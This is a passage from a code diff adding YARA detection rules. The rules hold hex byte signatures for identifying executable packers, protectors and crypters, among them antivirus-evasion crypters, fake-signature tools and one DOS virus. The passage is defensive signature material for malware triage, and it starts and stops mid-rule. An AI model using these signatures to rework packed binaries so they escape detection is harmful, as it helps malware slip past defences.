B5 41 0B 00 00 FF 95 DE 0A 00 00 E8 3D 00 00 00 E8 24 01 00 00 61 E9 ?? ?? ?? ?? 61 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _NsPacK_V30__LiuXingPing_
+{
+	meta:
+		description = "NsPacK V3.0 -> LiuXingPing"
+	strings:
+		$0 = {9C 60 E8 00 00 00 00 5D B8 07 00 00 00 2B E8 8D B5 ?? ?? ?? ?? 66 8B 06 66 83 F8 00 74}
+	condition:
+		$0 at entrypoint
+}
+rule _PEPACK_v10_by_ANAKiN_1998__
+{
+	meta:
+		description = "PE-PACK v1.0 by ANAKiN 1998 (???)"
+	strings:
+		$0 = {74 ?? E9 ?? ?? ?? ?? 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _EXE_Stealth_v273_
+{
+	meta:
+		description = "EXE Stealth v2.73"
+	strings:
+		$0 = {EB 00 EB 2F 53 68 61 72 65 77 61 72 65 20 2D 20 45 78 65 53 74 65 61 6C 74 68 00 EB 16 77 77 77 2E 77 65 62 74 6F 6F 6C 6D 61 73 74 65 72 2E 63 6F 6D 00 60 90 E8 00 00 00 00 5D 81 ED F0 27 40 00 B9 15 00 00 00 83 C1 05 EB 05 EB FE 83 C7 56 EB 00 83 E9 02}
+	condition:
+		$0
+}
+rule _NFO_v10_
+{
+	meta:
+		description = "NFO v1.0"
+	strings:
+		$0 = {8D 50 12 2B C9 B1 1E 8A 02 34 77 88 02 42 E2 F7 C8 8C}
+	condition:
+		$0 at entrypoint
+}
+rule _Safe_20_
+{
+	meta:
+		description = "Safe 2.0"
+	strings:
+		$0 = {83 EC 10 53 56 57 E8 C4 01 00}
+	condition:
+		$0
+}
+rule _Upack_v02_Beta__Dwing_
+{
+	meta:
+		description = "Upack v0.2 Beta -> Dwing"
+	strings:
+		$0 = {BE 88 01 ?? ?? AD 8B F8 95 A5 33 C0 33}
+	condition:
+		$0 at entrypoint
+}
+rule _WWPACK_v305c4_Unextractable_
+{
+	meta:
+		description = "WWPACK v3.05c4 (Unextractable)"
+	strings:
+		$0 = {03 05 00 1B B8 ?? ?? 8C CA 03 D0 8C C9 81 C1 ?? ?? 51 B9 ?? ?? 51 06 06 B1 ?? 51 8C D3}
+	condition:
+		$0 at entrypoint
+}
+rule _MSLRH_v032a_fake_PECompact_14x__emadicius_
+{
+	meta:
+		description = "[MSLRH] v0.32a (fake PECompact 1.4x) -> emadicius"
+	strings:
+		$0 = {EB 06 68 2E A8 00 00 C3 9C 60 E8 02 00 00 00 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 3F 90 40 00 61 9D EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF}
+	condition:
+		$0 at entrypoint
+}
+rule _UPX_Protector_v10x_
+{
+	meta:
+		description = "UPX Protector v1.0x"
+	strings:
+		$0 = {EB EC ?? ?? ?? ?? 8A 06 46 88 07 47 01 DB 75 07}
+	condition:
+		$0 at entrypoint
+}
+rule _Obsidium_13017__Obsidium_software_
+{
+	meta:
+		description = "Obsidium 1.3.0.17 -> Obsidium software"
+	strings:
+		$0 = {EB 02 ?? ?? E8 28 00 00 00 EB 04 ?? ?? ?? ?? EB 01 ?? 8B 54 24 0C EB 01 ?? 83 82 B8 00 00 00 25 EB 02 ?? ?? 33 C0 EB 03 ?? ?? ?? C3 EB 03 ?? ?? ?? EB 02 ?? ?? 64 67 FF 36 00 00 EB 01 ?? 64 67 89 26 00 00 EB 03 ?? ?? ?? EB 04 ?? ?? ?? ?? 50 EB 04}
+	condition:
+		$0 at entrypoint
+}
+rule _AHTeam_EP_Protector_03_fake_Stones_PE_Encryptor_20__FEUERRADER_
+{
+	meta:
+		description = "AHTeam EP Protector 0.3 (fake Stone's PE Encryptor 2.0) -> FEUERRADER"
+	strings:
+		$0 = {90 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 90 FF E0 53 51 52 56 57 55 E8 00 00 00 00 5D 81 ED 42 30 40 00 FF 95 32 35 40 00 B8 37 30 40 00 03 C5 2B 85 1B 34 40 00 89 85 27 34 40 00 83}
+	condition:
+		$0 at entrypoint
+}
+rule _ACProtect_109g__Risco_software_Inc_
+{
+	meta:
+		description = "ACProtect 1.09g -> Risco software Inc."
+	strings:
+		$0 = {60 F9 50 E8 01 00 00 00 7C 58 58 49 50 E8 01 00 00 00 7E 58 58 79 04 66 B9 B8 72 E8 01 00 00 00 7A 83 C4 04 85 C8 EB 01 EB C1 F8 BE 72 03 73 01 74 0F 81 01 00 00 00 F9 EB 01 75 F9 E8 01 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _mkfpack__llydd_
+{
+	meta:
+		description = "mkfpack -> llydd"
+	strings:
+		$0 = {E8 00 00 00 00 5B 81 EB 05 00 00 00 8B 93 9F 08 00 00 53 6A 40 68 00 10 00 00 52 6A 00 FF 93 32 08 00 00 5B 8B F0 8B BB 9B 08 00 00 03 FB 56 57 E8 86 08 00 00 83 C4 08 8D 93 BB 08 00 00 52 53 FF E6}
+	condition:
+		$0
+}
+rule _XPEOR_v099b_
+{
+	meta:
+		description = "X-PEOR v0.99b"
+	strings:
+		$0 = {E8 00 00 00 00 5D 8B CD 81 ED 7A 29 40 00 89 AD 0F 6D 40 00}
+		$1 = {E8 ?? ?? ?? ?? 5D 8B CD 81 ED 7A 29 40 ?? 89 AD 0F 6D 40}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _FlyCrypter_10__ut1lz_
+{
+	meta:
+		description = "Fly-Crypter 1.0 -> ut1lz"
+	strings:
+		$0 = {53 56 57 55 BB 2C ?? ?? 44 BE 00 30 44 44 BF 20 ?? ?? 44 80 7B 28 00 75 16 83 3F 00 74 11 8B 17 89 D0 33 D2 89 17 8B E8 FF D5 83 3F 00 75 EF 83 3D 04 30 44 44 00 74 06 FF 15 58 30 44 44 80 7B 28 02 75 0A 83 3E 00 75 05 33 C0 89 43 0C FF 15 20 30 44 44 80 7B 28 01 76 05 83 3E 00 74 22 8B 43 10 85 C0 74 1B FF 15 18 30 44 44 8B 53 10 8B 42 10 3B 42 04 74 0A 85 C0 74 06 50 E8 2F FA FF FF FF 15 24 30 44 44 80 7B 28 01 75 03 FF 53 24 80 7B 28 00 74 05 E8 35 FF FF FF 83 3B 00 75 17 83 3D 10 ?? ?? 44 00 74 06 FF 15 10 ?? ?? 44 8B 06 50 E8 51 FA FF FF 8B 03 56 8B F0 8B FB B9 0B 00 00 00 F3 A5 5E E9 73 FF FF FF 5D 5F 5E 5B C3 A3 00 30 44 44 E8 26 FF FF FF C3}
+		$1 = {55 8B EC 83 C4 F0 53 B8 18 22 44 44 E8 7F F7 FF FF E8 0A F1 FF FF B8 09 00 00 00 E8 5C F1 FF FF 8B D8 85 DB 75 05 E8 85 FD FF FF 83 FB 01 75 05 E8 7B FD FF FF 83 FB 02 75 05 E8 D1 FD FF FF 83 FB 03 75 05 E8 87 FE FF FF 83 FB 04 75 05 E8 5D FD FF FF 83 FB 05 75 05 E8 B3 FD FF FF 83 FB 06 75 05 E8 69 FE FF FF 83 FB 07 75 05 E8 5F FE FF FF 83 FB 08 75 05 E8 95 FD FF FF 83 FB 09 75 05 E8 4B FE FF FF 5B E8 9D F2 FF FF 90}
+	condition:
+		$0 or $1 at entrypoint
+}
+rule _PseudoSigner_01_Microsoft_Visual_Cpp_60_Debug_Version__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [Microsoft Visual C++ 6.0 (Debug Version)] --> Anorganix"
+	strings:
+		$0 = {55 8B EC 51 90 90 90 01 01 90 90 90 90 68 ?? ?? ?? ?? 90 90 90 90 90 90 90 90 90 90 90 90 00 01 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 00 01 90 90 90 90 90}
+	condition:
+		$0 at entrypoint
+}
+rule _Themida_10xx__1800_compressed_engine__Oreans_Technologies_
+{
+	meta:
+		description = "Themida 1.0.x.x - 1.8.0.0 (compressed engine) -> Oreans Technologies"
+	strings:
+		$0 = {B8 ?? ?? ?? ?? 60 0B C0 74 58 E8 00 00 00 00 58 05 43 00 00 00 80 38 E9 75 03 61 EB 35 E8 00 00 00 00 58 25 00 F0 FF FF 33 FF 66 BB 19 5A 66 83 C3 34 66 39 18 75 12 0F B7 50 3C 03 D0 BB E9 44 00 00 83 C3 67 39 1A 74 07 2D 00 10 00 00 EB DA 8B F8 B8}
+		$1 = {B8 ?? ?? ?? ?? 60 0B C0 74 58 E8 00 00 00 00 58 05 43 00 00 00 80 38 E9 75 03 61 EB 35 E8 00 00 00 00 58 25 00 F0 FF FF 33 FF 66 BB 19 5A 66 83 C3 34 66 39 18 75 12 0F B7 50 3C 03 D0 BB E9 44 00 00 83 C3 67 39 1A 74 07 2D 00 10 00 00 EB DA 8B F8 B8 ?? ?? ?? ?? 03 C7 B9 5A ?? ?? ?? 03 CF EB 0A B8 ?? ?? ?? ?? B9 5A ?? ?? ?? 50 51 E8 84 00 00 00 E8 00 00 00 00 58 2D 26 00 00 00 B9 EF 01 00 00 C6 00 E9 83 E9 05 89 48 01 61 E9 AF 01}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PEncrypt_20__junkcode_
+{
+	meta:
+		description = "PEncrypt 2.0 -> junkcode"
+	strings:
+		$0 = {EB 25 00 00 F7 BF 00 00 00 00 00 00 00 00 00 00 12 00 E8 00 56 69 72 74 75 61 6C 50 72 6F 74 65 63 74 00 00 00 00 00 E8 00 00 00 00 5D 81 ED 2C 10 40 00 8D B5 14 10 40 00 E8 33 00 00 00 89 85 10 10 40 00 BF 00 00 40 00 8B F7 03 7F 3C 8B 4F 54 51 56 8D 85}
+	condition:
+		$0 at entrypoint
+}
+rule _AsCrypt_v01__SToRM__4_
+{
+	meta:
+		description = "AsCrypt v0.1 -> SToRM - #4"
+	strings:
+		$0 = {80 ?? ?? ?? 83 ?? ?? ?? ?? 90 90 90 E2}
+	condition:
+		$0
+}
+rule _MSLRH_v032a_fake_EXE32Pack_13x__emadicius_
+{
+	meta:
+		description = "[MSLRH] v0.32a (fake EXE32Pack 1.3x) -> emadicius"
+	strings:
+		$0 = {3B C0 74 02 81 83 55 3B C0 74 02 81 83 53 3B C9 74 01 BC 56 3B D2 74 02 81 85 57 E8 00 00 00 00 3B DB 74 01 90 83 C4 14 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF}
+	condition:
+		$0 at entrypoint
+}
+rule _FSG_v110_Eng__dulekxt__Microsoft_Visual_Cpp_4x__LCC_Win32_1x_
+{
+	meta:
+		description = "FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 4.x / LCC Win32 1.x)"
+	strings:
+		$0 = {2C 71 1B CA EB 01 2A EB 01 65 8D 35 80 ?? ?? 00 80 C9 84 80 C9 68 BB F4 00 00 00 EB 01 EB}
+	condition:
+		$0 at entrypoint
+}
+rule _Gardian_Angel_10_
+{
+	meta:
+		description = "Gardian Angel 1.0"
+	strings:
+		$0 = {06 8C C8 8E D8 8E C0 FC BF ?? ?? EB}
+	condition:
+		$0 at entrypoint
+}
+rule _nBinder_v361_
+{
+	meta:
+		description = "nBinder v3.6.1"
+	strings:
+		$0 = {6E 35 36 34 35 36 35 33 32 33 34 35 34 33 5F 6E 62 33 5C 00 5C 6E 35 36 34 35 36 35 33 32 33 34 35 34 33 5F 6E 62 33 5C}
+	condition:
+		$0
+}
+rule _ASPack_v2000__Alexey_Solodovnikov_
+{
+	meta:
+		description = "ASPack v2.000 -> Alexey Solodovnikov"
+	strings:
+		$0 = {60 E8 70 05 00 00 EB 4C}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v167_
+{
+	meta:
+		description = "PECompact v1.67"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 3F 90 40 87 DD 8B 85 E6 90 40 01 85 33 90 40 66 C7 85 90 40 90 90 01 85 DA 90 40 01 85 DE 90 40 01 85 E2 90 40 BB 8B 11}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v123b3__v1241_
+{
+	meta:
+		description = "PECompact v1.23b3 - v1.24.1"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 70 40 ?? 87 DD 8B 85 A6 70 40 ?? 01 85 03 70 40 ?? 66 C7 85 70 40 90 ?? 90 01 85 9E 70 40 BB ?? D2 08}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_Einstein_
+{
+	meta:
+		description = "Vx: Einstein"
+	strings:
+		$0 = {00 42 CD 21 72 31 B9 6E 03 33 D2 B4 40 CD 21 72 19 3B C1 75 15 B8 00 42}
+	condition:
+		$0 at entrypoint
+}
+rule _ReversingLabsProtector_074_beta__Ap0x_
+{
+	meta:
+		description = "ReversingLabsProtector 0.7.4 beta -> Ap0x"
+	strings:
+		$0 = {68 00 00 41 00 E8 01 00 00 00 C3 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_VideoLanClient__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [Video-Lan-Client] --> Anorganix"
+	strings:
+		$0 = {55 89 E5 83 EC 08 90 90 90 90 90 90 90 90 90 90 90 90 90 90 01 FF FF 01 01 01 00 01 90 90 90 90 90 90 90 90 90 90 90 90 90 90 00 01 00 01 00 01 90 90 00 01 E9}
+	condition:
+		$0 at entrypoint
+}
+rule _muckis_protector_I__mucki_
+{
+	meta:
+		description = "mucki's protector I -> mucki"
+	strings:
+		$0 = {BE ?? ?? ?? ?? B9 ?? ?? ?? ?? 8A 06 F6 D0 88 06 46 E2 F7 E9}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v20_beta__Jeremy_Collake_
+{
+	meta:
+		description = "PECompact v2.0 beta -> Jeremy Collake"
+	strings:
+		$0 = {B8 ?? ?? ?? ?? 05 ?? ?? ?? ?? 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 CC 90 90 90 90}
+	condition:
+		$0 at entrypoint
+}
+rule _kryptor_9_
+{
+	meta:
+		description = "kryptor 9"
+	strings:
+		$0 = {60 E8 ?? ?? ?? ?? 5E B9 ?? ?? ?? ?? 2B C0 02 04 0E D3 C0 49 79 F8 41 8D 7E 2C 33 46 ?? 66 B9}
+	condition:
+		$0 at entrypoint
+}
+rule _FSG_v110_Eng__dulekxt__Borland_Cpp_1999_
+{
+	meta:
+		description = "FSG v1.10 (Eng) -> dulek/xt -> (Borland C++ 1999)"
+	strings:
+		$0 = {EB 02 CD 20 2B C8 68 80 ?? ?? 00 EB 02 1E BB 5E EB 02 CD 20 68 B1 2B 6E 37 40 5B 0F B6 C9}
+	condition:
+		$0 at entrypoint
+}
+rule _ShellModify_01__pll621_
+{
+	meta:
+		description = "ShellModify 0.1 -> pll621"
+	strings:
+		$0 = {55 8B EC 6A FF 68 98 66 41 00 68 3C 3D 41 00 64 A1 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Ding_Boys_PElock_Phantasm_v08_
+{
+	meta:
+		description = "Ding Boy's PE-lock Phantasm v0.8"
+	strings:
+		$0 = {55 57 56 52 51 53 E8 00 00 00 00 5D 8B D5 81 ED 0D 39 40 00}
+	condition:
+		$0 at entrypoint
+}
+rule _SkD_Undetectabler_Pro_20_No_UPX_Method__SkD_
+{
+	meta:
+		description = "SkD Undetectabler Pro 2.0 (No UPX Method) -> SkD"
+	strings:
+		$0 = {55 8B EC 83 C4 F0 B8 FC 26 00 10 E8 EC F3 FF FF 6A 0F E8 15 F5 FF FF E8 64 FD FF FF E8 BB ED FF FF 8D 40}
+	condition:
+		$0 at entrypoint
+}
+rule _ASPack_v1061b__Alexey_Solodovnikov_
+{
+	meta:
+		description = "ASPack v1.061b -> Alexey Solodovnikov"
+	strings:
+		$0 = {60 E8 ?? ?? ?? ?? 5D 81 ED EA A8 43 ?? B8 E4 A8 43 ?? 03 C5 2B 85 78 AD 43 ?? 89 85 84 AD 43 ?? 80 BD 6E AD 43}
+	condition:
+		$0 at entrypoint
+}
+rule _pscrambler_12__by_p0ke_
+{
+	meta:
+		description = "pscrambler 1.2 -> by p0ke"
+	strings:
+		$0 = {55 8B EC B9 04 00 00 00 6A 00 6A 00 49 75 F9 51 53 ?? ?? ?? ?? 10 E8 2D F3 FF FF 33 C0 55 68 E8 31 00 10 64 FF 30 64 89 20 8D 45 E0 E8 53 F5 FF FF 8B 45 E0 8D 55 E4 E8 30 F6 FF FF 8B 45 E4 8D 55 E8 E8 A9 F4 FF FF 8B 45 E8 8D 55 EC E8 EE F7 FF FF 8B 55 EC B8 C4 54 00 10 E8 D9 EC FF FF 83 3D C4 54 00 10 00 0F 84 05 01 00 00 80 3D A0 40 00 10 00 74 41 A1 C4 54 00 10 E8 D9 ED FF FF E8 48 E0 FF FF 8B D8 A1 C4 54 00 10 E8 C8 ED FF FF 50 B8 C4 54 00 10 E8 65 EF FF FF 8B D3 59 E8 69 E1 FF FF 8B C3 E8 12 FA FF FF 8B C3 E8 33 E0 FF FF E9 AD 00 00 00 B8 05 01 00 00 E8 0C E0 FF FF 8B D8 53 68 05 01 00 00 E8 57 F3 FF FF 8D 45 DC 8B D3 E8 39 ED FF FF 8B 55 DC B8 14 56 00 10 B9 00 32 00 10 E8 BB ED FF FF 8B 15 14 56 00 10 B8 C8 54 00 10 E8 53 E5 FF FF BA 01 00 00 00 B8 C8 54 00 10 E8 8C E8 FF FF E8 DF E0 FF FF 85 C0 75 52 6A 00 A1 C4 54 00 10 E8 3B ED FF FF 50 B8 C4 54 00 10 E8 D8 EE FF FF 8B D0 B8 C8 54 00 10 59 E8 3B E6 FF FF E8 76 E0 FF FF B8 C8 54 00 10 E8 4C E6 FF FF E8 67 E0 FF FF 6A 00 6A 00 6A 00 A1 14 56 00 10 E8 53 EE FF FF 50 6A 00 6A 00 E8 41 F3 FF FF 80 3D 9C 40 00 10 00 74 05 E8 EF FB FF FF 33 C0 5A 59 59 64 89 10 68 EF 31 00 10 8D 45 DC BA 05 00 00 00 E8 7D EB FF FF C3 E9 23 E9 FF FF EB EB 5B E8 63 EA FF FF 00 00 00 FF FF FF FF 08 00 00 00 74 65 6D 70 2E 65 78 65}
+	condition:
+		$0 at entrypoint
+}
+rule _PEncrypt_10__JunkCode_
+{
+	meta:
+		description = "PEncrypt 1.0 -> JunkCode"
+	strings:
+		$0 = {60 9C BE 00 10 40 00 8B FE B9 ?? ?? ?? ?? BB 78 56 34 12 AD 33 C3 AB E2 FA 9D 61 E9 ?? ?? ?? FF}
+	condition:
+		$0 at entrypoint
+}
+rule _PluginToExe_v101__BoB__BobSoft_
+{
+	meta:
+		description = "PluginToExe v1.01 -> BoB / BobSoft"
+	strings:
+		$0 = {E8 00 00 00 00 29 C0 5D 81 ED C6 41 40 00 50 8F 85 71 40 40 00 50 FF 95 A5 41 40 00 89 85 6D 40 40 00 FF 95 A1 41 40 00 50 FF 95 B5 41 40 00 80 38 00 74 16 8A 08 80 F9 22 75 07 50 FF 95 B9 41 40 00 89 85 75 40 40 00 EB 6C 6A 01 8F 85 71 40 40 00 6A 58 6A 40 FF 95 A9 41 40 00 89 85 69 40 40 00 89 C7 68 00 08 00 00 6A 40 FF 95 A9 41 40 00 89 47 1C C7 07 58 00 00 00 C7 47 20 00 08 00 00 C7 47 18 01 00 00 00 C7 47 34 04 10 88 00 8D 8D B9 40 40 00 89 4F 0C 8D 8D DB 40 40 00 89 4F 30 FF B5 69 40 40 00 FF 95 95 41 40 00 FF 77 1C 8F 85 75 40 40 00 8B 9D 6D 40 40 00 60 6A 00 6A 01 53 81 C3 ?? ?? ?? 00 FF D3 61 6A 00 68 44 69 45 50 FF B5 75 40 40 00 6A 00 81 C3 ?? ?? 00 00 FF D3 83 C4 10 83 BD 71 40 40 00 00 74 10 FF 77 1C FF 95 AD 41 40 00 57 FF 95 AD 41 40 00 6A 00 FF 95 9D 41 40 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PESpin_V03__cyberbob_
+{
+	meta:
+		description = "PESpin V0.3 -> cyberbob"
+	strings:
+		$0 = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 B7 CD 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 EA EB 01 EB EB 0D FF E8 01 00 00 00 EA 5A 83 EA 0B FF E2 8B 95 CB 2C 40 00 8B 42 3C 03 C2 89 85 D5 2C 40 00 41 C1 E1 07 8B 0C 01 03 CA 8B 59 10 03 DA 8B 1B 89 9D E9 2C 40 00 53 8F 85 B6 2B 40 00 BB ?? 00 00 00 B9 75 0A 00 00 8D BD 7E 2D 40 00 4F 30 1C 39 FE CB E2 F9 68 3C 01 00 00 59 8D BD B6 36 40 00 C0 0C 39 02 E2 FA E8 02 00 00 00 FF 15 5A 8D 85 1F 53 56 00 BB 54 13 0B 00 D1 E3 2B C3 FF E0 E8 01 00 00 00 68 E8 1A 00 00 00 8D 34 28 B9 08 00 00 00 B8 ?? ?? ?? ?? 2B C9 83 C9 15 0F A3 C8 0F 83 81 00 00 00 8D B4 0D DC 2C 40 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Unnamed_Scrambler_12C__12D__p0ke_
+{
+	meta:
+		description = "Unnamed Scrambler 1.2C / 1.2D -> p0ke"
+	strings:
+		$0 = {55 8B EC B9 05 00 00 00 6A 00 6A 00 49 75 F9 51 53 56 57 B8 ?? 3A ?? ?? E8 ?? EC FF FF 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 E8 ?? D7 FF FF E8 ?? ?? FF FF B8 20 ?? ?? ?? 33 C9 BA 04 01 00 00 E8 ?? DB FF FF 68 04 01 00 00 68 20 ?? ?? ?? 6A 00 FF 15 10 ?? ?? ?? BA ?? ?? ?? ?? B8 14 ?? ?? ?? E8 ?? ?? FF FF 85 C0 0F 84 ?? 04 00 00 BA 18 ?? ?? ?? 8B 0D 14 ?? ?? ?? E8 ?? ?? FF FF 8B 05 88 ?? ?? ?? 8B D0 B8 54 ?? ?? ?? E8 ?? E3 FF FF B8 54 ?? ?? ?? E8 ?? E2 FF FF 8B D0 B8 18 ?? ?? ?? 8B 0D 88 ?? ?? ?? E8 ?? D6 FF FF FF 35 34 ?? ?? ?? FF 35 30 ?? ?? ?? FF 35 3C ?? ?? ?? FF 35 38 ?? ?? ?? 8D 55 E8 A1 88 ?? ?? ?? E8 ?? F0 FF FF 8B 55 E8 B9 54}
+	condition:
+		$0
+}
+rule _BopCrypt_v10_
+{
+	meta:
+		description = "BopCrypt v1.0"
+	strings:
+		$0 = {60 BD ?? ?? ?? ?? E8 ?? ?? 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Obsidium_1336__Obsidium_Software_
+{
+	meta:
+		description = "Obsidium 1.3.3.6 -> Obsidium Software"
+	strings:
+		$0 = {EB 04 ?? ?? ?? ?? E8 28 00 00 00 EB 01 ?? ?? ?? ?? ?? ?? ?? 8B 54 24 0C EB 01 ?? 83 82 B8 00 00 00 26 EB 04 ?? ?? ?? ?? 33 C0 EB 01 ?? C3 EB 03 ?? ?? ?? EB 04 ?? ?? ?? ?? 64 67 FF 36 00 00 EB 04 ?? ?? ?? ?? 64 67 89 26 00 00 EB 03 ?? ?? ?? EB 04 ?? ?? ?? ?? 50 EB 01 ?? 33 C0 EB 02 ?? ?? 8B 00 EB 04 ?? ?? ?? ?? C3 EB 04 ?? ?? ?? ?? E9 FA 00 00 00 EB 03 ?? ?? ?? E8 D5 FF FF FF EB 01 ?? EB 03 ?? ?? ?? 58 EB 02 ?? ?? EB 04 ?? ?? ?? ?? 64 67 8F 06 00 00 EB 04}
+	condition:
+		$0
+}
+rule _PeCompact_253_DLL_Slim_Loader__BitSum_Technologies_
+{
+	meta:
+		description = "PeCompact 2.53 DLL (Slim Loader) --> BitSum Technologies"
+	strings:
+		$0 = {B8 ?? ?? ?? ?? 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C0 89 08 50 45 43 32 00 00 08 0C 00 48 E1 01 56 57 53 55 8B 5C 24 1C 85 DB 0F 84 AB 21 E8 BD 0E E6 60 0D 0B 6B 65 72 6E 6C 33 32}
+	condition:
+		$0 at entrypoint
+}
+rule _FSG_v100_Eng__dulekxt_
+{
+	meta:
+		description = "FSG v1.00 (Eng) -> dulek/xt"
+	strings:
+		$0 = {BB D0 01 40 00 BF 00 10 40 00 BE ?? ?? ?? 00 53 E8 0A 00 00 00 02 D2 75 05 8A 16 46 12 D2 C3 FC B2 80 A4 6A 02 5B FF 14 24 73 F7 33 C9 FF 14 24 73 18 33 C0 FF 14 24 73 21 B3 02 41 B0 10 FF 14 24 12 C0 73 F9 75 3F AA EB DC E8 43 00 00 00 2B CB 75 10 E8 38}
+	condition:
+		$0 at entrypoint
+}
+rule _SLVc0deProtector_060__SLV__ICU_
+{
+	meta:
+		description = "SLVc0deProtector 0.60 -> SLV / ICU"
+	strings:
+		$0 = {EB 02 FA 04 E8 49 00 00 00 69 E8 49 00 00 00 95 E8 4F 00 00 00 68 E8 1F 00 00 00 49 E8 E9 FF FF FF 67 E8 1F 00 00 00 93 E8 31 00 00 00 78 E8 DD}
+	condition:
+		$0
+}
+rule _FSG_v110_Eng__bartxt_
+{
+	meta:
+		description = "FSG v1.10 (Eng) -> bart/xt"
+	strings:
+		$0 = {BB D0 01 40 00 BF 00 10 40 00 BE ?? ?? ?? 00 53 E8 0A 00 00 00 02 D2 75 05 8A 16 46 12 D2 C3 B2 80 A4 6A 02 5B FF 14 24 73 F7 33 C9 FF 14 24 73 18 33 C0 FF 14 24 73 21 B3 02 41 B0 10 FF 14 24 12 C0 73 F9 75 3F AA EB DC E8 43 00 00 00 2B CB 75 10 E8 38 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PEcrypt__by_archphase_
+{
+	meta:
+		description = "PEcrypt - by archphase"
+	strings:
+		$0 = {55 8B EC 83 C4 E0 53 56 33 C0 89 45 E4 89 45 E0 89 45 EC ?? ?? ?? ?? 64 82 40 00 E8 7C C7 FF FF 33 C0 55 68 BE 84 40 00 64 FF 30 64 89 20 68 CC 84 40 00 ?? ?? ?? ?? 00 A1 10 A7 40 00 50 E8 1D C8 FF FF 8B D8 85 DB 75 39 E8 3A C8 FF FF 6A 00 6A 00 68 A0 A9 40 00 68 00 04 00 00 50 6A 00 68 00 13 00 00 E8 FF C7 FF FF 6A 00 68 E0 84 40 00 A1 A0 A9 40 00 50 6A 00 E8 ?? ?? ?? ?? E9 7D 01 00 00 53 A1 10 A7 40 00 50 E8 42 C8 FF FF 8B F0 85 F6 75 18 6A 00 68 E0 84 40 00 68 E4 84 40 00 6A 00 E8 71 C8 FF FF E9 53 01 00 00 53 6A 00 E8 2C C8 FF FF A3 ?? ?? ?? ?? 83 3D 48 A8 40 00 00 75 18 6A 00 68 E0 84 40 00 68 F8 84 40 00 6A 00 E8 43 C8 FF FF E9 25 01 00 00 56 E8 F8 C7 FF FF A3 4C A8 40 00 A1 48 A8 40 00 E8 91 A1 FF FF 8B D8 8B 15 48 A8 40 00 85 D2 7C 16 42 33 C0 8B 0D 4C A8 40 00 03 C8 8A 09 8D 34 18 88 0E 40 4A 75 ED 8B 15 48 A8 40 00 85 D2 7C 32 42 33 C0 8D 34 18 8A 0E 80 F9 01 75 05 C6 06 FF EB 1C 8D 0C 18 8A 09 84 ?? ?? ?? ?? ?? 00 EB 0E 8B 0D 4C A8 40 00 03 C8 0F B6 09 49 88 0E 40 4A 75 D1 8D ?? ?? ?? ?? E8 A5 A3 FF FF 8B 45 E8 8D 55 EC E8 56 D5 FF FF 8D 45 EC BA 18 85 40 00 E8 79 BA FF FF 8B 45 EC E8 39 BB FF FF 8B D0 B8 54 A8 40 00 E8 31 A6 FF FF BA 01 00 00 00 B8 54 A8 40 00 E8 12 A9 FF FF E8 DD A1 FF FF 68 50 A8 40 00 8B D3 8B 0D 48 A8 40 00 B8 54 A8 40 00 E8 56 A7 FF FF E8 C1 A1 FF FF}
+	condition:
+		$0 at entrypoint
+}
+rule _WinZip_32bit_SFX_v6x_module_
+{
+	meta:
+		description = "WinZip 32-bit SFX v6.x module"
+	strings:
